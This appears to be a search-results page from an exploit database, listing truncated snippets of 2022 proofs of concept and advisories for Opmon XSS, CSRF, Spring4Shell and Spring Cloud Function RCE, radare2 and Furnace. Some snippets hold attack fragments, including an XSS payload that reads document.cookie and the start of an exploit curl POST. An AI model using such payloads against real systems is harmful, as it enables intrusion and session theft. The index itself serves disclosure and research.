12824 matches found
Opmon 9.11 - Cross-site Scripting Vulnerability
Exploit Title: Opmon 9.11 - Cross-site Scripting Exploit Author: p3tryx Vendor Homepage: https://www.opservices.com.br/monitoramento-real-time Version: 9.11 Tested on: Chrome, IE and Firefox CVE : CVE-2021-43009 URL POC: alertdocument.cookie; var i=new Image;...
Online Banquet Booking System 1.0 Cross Site Request Forgery
Exploit Title: Online Banquet Booking System - 'change admin credentials' Cross-Site Request Forgery CSRF Date: 04/04/2022 Exploit Author: Saud Alenazi Vendor Homepage: https://phpgurukul.com Software Link: https://phpgurukul.com/online-banquet-booking-system-using-php-and-mysql/ Version: 1.0...
Exploit for Code Injection in Vmware Spring_Framework
Spring4Shell - CVE-2022-22965 Build - let's clone the repo...
Improper Validation of Array Index
This vulnerability is of type Improper Validation of Array Index. The bug exists in latest stable release radare2-5.6.6 and lastest master branch 8317a34b7e4ab731e230dcdd81adc9323c5b518b, updated in April 03, 2022. Specifically, the vulnerable code located at libr/bin/format/ne/ne.c and the bug's...
Stack overflow
A vulnerability classified as critical has been found in tildearrow Furnace dev73. This affects the FUR to VGM converter in console mode which causes stack-based overflows and crashes. It is possible to initiate the attack remotely but it requires user-interaction. A POC has been disclosed to the...
CVE-2022-1211 tildearrow Furnace FUR to VGM Converter stack-based overflow
A vulnerability classified as critical has been found in tildearrow Furnace dev73. This affects the FUR to VGM converter in console mode which causes stack-based overflows and crashes. It is possible to initiate the attack remotely but it requires user-interaction. A POC has been disclosed to the...
CVE-2022-1211 tildearrow Furnace FUR to VGM Converter stack-based overflow
A vulnerability classified as critical has been found in tildearrow Furnace dev73. This affects the FUR to VGM converter in console mode which causes stack-based overflows and crashes. It is possible to initiate the attack remotely but it requires user-interaction. A POC has been disclosed to the...
CVE-2022-1211
A vulnerability classified as critical has been found in tildearrow Furnace dev73. This affects the FUR to VGM converter in console mode which causes stack-based overflows and crashes. It is possible to initiate the attack remotely but it requires user-interaction. A POC has been disclosed to the...
Exploit for Code Injection in Vmware Spring_Framework
Spring4ShellCVE-2022-22965 Spring Framework RCE via Data Bi...
WordPress Uleak Security Dashboard 1.2.3 Cross Site Scripting Vulnerability
Exploit Title: WordPress Plugin uleak-security-dashboard 1.2.3 - Stored Cross-Site Scripting Authenticated Date: 31-03-2022 Exploit Author: Hassan Khan Yusufzai - Splint3r7 Vendor Homepage: https://wordpress.org/plugins/uleak-security-dashboard/ Version: 1.2.3 Tested on: Firefox Contact me: h at...
Exploit for Code Injection in Vmware Spring_Framework
Simple Spring4Shell POC ----------------------- Check if end...
Exploit for Code Injection in Vmware Spring_Framework
SaferPoCCVE-2022-22965 A Safer PoC for CVE-2022-22965 Sprin...
Exploit for Code Injection in Vmware Spring_Framework
Spring4Shell Exploit POC Exploit a Spring Application vulnera...
CVE-2022-22963 - PoC Spring Java Framework 0-day Remote Code Execution Vulnerability
To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example: docker run -it -d -p 8080:8080 bobcheat/springboot-public Exploit Curl command: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...
Exploit for Code Injection in Vmware Spring_Cloud_Function
CVE-2022-22963 CVE-2022-22963 PoC Slight modified for Englis...
Exploit for Code Injection in Oracle Fusion_Middleware
CVE-2022-22965 - vulnerable app and PoC ------------------------...
Spring Cloud Function SpEL Injection Exploit
Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting the spring.cloud.function.routing-expression header, an unauthenticated attack...
Exploit for Code Injection in Vmware Spring_Cloud_Function
PoC exploit for CVE-2022-22963, a Spring Core 0day vulnerability...